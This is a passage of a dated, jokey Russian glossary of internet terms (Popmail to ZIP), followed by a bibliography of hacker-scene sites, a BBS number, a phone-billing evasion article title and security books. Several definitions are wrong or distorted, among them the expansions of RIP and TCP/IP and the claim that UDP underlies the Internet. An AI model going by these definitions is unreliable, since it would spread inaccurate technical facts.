**Popmail**

Программа, используемая для чтения удаленных почтовых сообщений.

**Posting**

Передача сообщения в одну из групп Usenet.

**PPP**

Point-to-Point-Protocol. Протокол повышенного типа. Наследник SLIP.

Этот протокол хорош тем, что он позволяет подключить ваш компьютер к

Internet по так называемому протоколу удаленного доступа TCP/IP.

**Privacy**

Невмешательство в личную жизнь пользователя электронной почты.

**Prompt**

Поле данных удаленного терминала.

**Protocol**

Метод, с помощью которого передается информация от хоста к юзеру.

**Provider**

Поставщик некоторых услуг. В частности, -- услуг Internet.

**Pulse**

Один из способов импульсного набора телефонного номера.

**QWK**

Формат чтения в интерактивном режиме почтовых сообщений и статей

конференций Usenet.

**Real Time**

Интерактивный (не пакетный) режим. То есть режим, передающий и

обрабатывающий информацию с весьма большой скоростью.

**Remote computer**

Тот самый сервер, к которому коннектятся.

**Remote control**

Дистанционное управление.

**Remote**

Удаленный доступ.

**RFC**

Request For Comment. Огромная куча электронных документов. Если ее

разгрести, то можно окончательно выяснить, что же такое Internet.

**RIP**

Routing Internet Protocol. Еще один протокол, в дебрях которого

запуталось немало системных администраторов.

**Ripco**

Популярный провайдер из славного американского города Чикаго.

**Robot**

Робот, он и в Африке робот. Нечто, автоматически залезающее в чужую

сеть без участия системных администраторов или некоторая поисковая программа

в гиперсреде WWW.

**Router**

Маршрутизатор.

**RTFM**

Read The Following Materials. Читай справочник, придурок! Раздраженный

ответ, адресованный, как правило тем юзерам, которые задают очевидные

вопросы.

**Script**

Сценарий в некоторой коммуникационной программе.

**Security**

Антихакерский софт. Сладкая ягодка системного администратора.

**Server**

Компьютер, система которого способна организовать сеть.

**SGML**

Standard Generalized Markup Language. Язык структурированных языков. То

есть язык, посредством которого вы можете определить язык индексированных

документов. Язык более высокого уровня, чем HTML. В общем, язык языков.

Понятен только весьма умным юзерам или хакерам.

**Shareware**

Условно-бесплатное программное обеспечение, т. е. платите лишь в том

случае, если хотите получить полную версию полученного софта.

**Sharing**

Совместное использование.

**Shell**

Оболочка.

**Site**

Место. Расположение сервера в Internet.

**SLIP**

Serial Line Internet Protocol. Древний протокол повышенного типа.

Позволяет подключить ваш компьютер к Internet по протоколу с удаленным

доступом TCP/IP.

**SMTP**

Simple Mail Transport Protocol. Протокол обмена почтовыми сообщениями.

**Spam**

Принудительные сообщения, посылаемые через электронную почту и

конференции Usenet.

**SSL**

Secure Socket Layer. Весьма слабый протокол программы Netscape.

Предназначен для защиты юзеров. Или по другому: защищенный протокол самой

классной и знаменитой смотрелки киберпространства Netscape Communicator.

**Sysop**

System operator. Сисоп. Системный оператор.

**TCP**

Transmission Control Protocol. Главный транспортный протокол. Протокол

управления передачей. Работает одновременно с клиентом и протоколом низкого

уровня (IP). Интерфейс между TCP и пользователем есть открытие и закрытие

соединения и отправка и загрузка информации. TCP совместим с Telnet и THP.

**TCP/IP**

Control Protocol/Internet Protocol. Стандартный сетевой протокол,

позволяющий вашему компьютеру соединиться с Internet.

**Telnet**

Специальный коммуникационный протокол, позволяющий через определенные

команды получать непосредственный доступ к серверу Internet.

**Tone**

Тоновый набор телефонного номера.

**Traffic**

Поток.

**Twisted pair**

Скрученная пара.

**UDP**

Протокол транспортного уровня, на котором собственно и основана

Internet.

**Upload**

Вы передаете свои файлы на другой компьютер.

**URL**

Uniform Resource Locator. Стандартный адресный формат, указывающий имя

сервера Gopher, WWW, Finger или FTP.

**USB**

Универсальная последовательная шина. Благодаря USB вам больше не нужно

задумываться об установках прерываний IRQ. Вы просто подключаете устройство

к разъему USB, а система сама обеспечит совместимость с вашим компьютером.

Вам даже не придется перезапускать систему.

**AGP**

Архитектура графических ускорителей AGP (Accelerated Graphics Port).

Благодаря AGP вы можете вполной мере насладиться трехмерными компьютерными

играми или ощутить всю мощь вашего нового видеоадаптера в программах

обработки трехмерной графики.

**Usenet**

Одна из форм массового электронного психоза (в хорошем смыле последнего

слова). В настоящее время существует около 10 000 таких форм.

**User node**

Узел пользователя.

**Username**

Имя пользователя.

**WAN**

Wide Area Network. Сеть сетей. Например, Internet явлется Worldwide

WAN.

**Webmaster**

Системный администратор Web-сервера. Он же, Паутиныч.

**WDM**

Архитектура драйверов Win32 (по сути объединяет аппаратные ресурсы

Windows 98 и Windows NT), благодаря которой вы можете настраивать свою

систему, используя драйверы Windows NT.

**White Pages**

Справочник пользователей Internet.

**Whois**

Ищем электронный адрес конкретного типа.

**WINZIP**

Софт, созданный для юзеров Windows 95. Позволяет распаковывать и

запаковывать файлы.

**Workstation**

Рабочая станция. Один из компьютеров, подключенный к компьютерной сети.

**World Wide Web**

Информационная система Internet, созданная для тех юзеров, которые

имеют высокоскоростные модемы. Это означает, что на экране вашего компьютера

виден не просто голый текст, а мультимедийный документ с картинками, порой

разворачивающимися так долго, что хочется стукнуть по клавиатуре или плюнуть

на экран монитора.

**Yahoo**

Паук с самым полным списком серверов WWW и возможностью бесплатной

регистрации собственной Web страницы (http://www.yahoo.com).

**ZIP**

Популярный формат архивирования файлов. Наиболее часто используется в

программах MS DOS.

**Список использованной литературы**

**Russian Underground Club**

http://www.toptown.com/hp/RUC/

e-mail: night\_elf@hotmail.com

**Russian Underground Server**

http://www.russian.lt/

**Крякер Internet**

http://kpakep.home.ml.org/

**ThE BLUES BROThERS BBS**

+7-812-178-8403

**Как не платить МГТС за повременку**

Master A. Pixel (SLY FOX)

**Модемы**

Master A. Pixel (SPY FOX)

**Верстак. Журнал русского хакера.**

http://www.chat.ru/~wrkbench/1000.html

**Computer Security Basics**

Deborah Russell and G.T. Gengemi Sr

**Information Systems Security**

Philip Fites и Martin Kratz

**Computer Related Risks**

Peter G. Neumann

**Computer Security Management**

Karen Forcht

**The Stephen Cobb Complete Book of PC and LAN Security**

Stephen Cobb

**Security in Computing**

Charles P. Pfleeger

**Building a Secure Computer System**

Morrie Gasser

**Modern Methods for Computer Security**

Lance Hoffman

**Protection and Security on the Information Superhighway**

Dr. Frederick B. Cohen

**Practical Unix Security**

Simson Garfinkel and Gene Spafford

**Unix System Security**

Rik Farrow

**Unix Security: A Practical Tutorial**

Derek Arnold

**Unix Security for the Organization**

Richard Bryant

**Network Security Secrets**

David J. Stang и Sylvia Moon

**Complete Lan Security and Control**

Peter Davis

**Network Security**

Steven Shaffer и Alan Simon

**Protect Your Privacy: A Guide for PGP Users**

William Stallings

**Codebreakers**

Kahn

**The Little Black Book of Computer Viruses**

Mark Ludwig

**Computer Viruses, Artificial Life and Evolution**

Mark Ludwig

**A Short Course on Computer Viruses**

Dr. Fred Cohen

**Engineering and Operations in the Bell System**

R.F. Rey

**Telephony: Today and Tomorrow**

Dimitris N. Chorafas

**The Hacker Crackdown**

Bruce Sterling

**Cyberpunk**

Katie Hafner и John Markoff

**The Cuckoo's Egg**

Cliff Stoll

**Hackers: Heroes of the Computer Revolution**

Steven Levy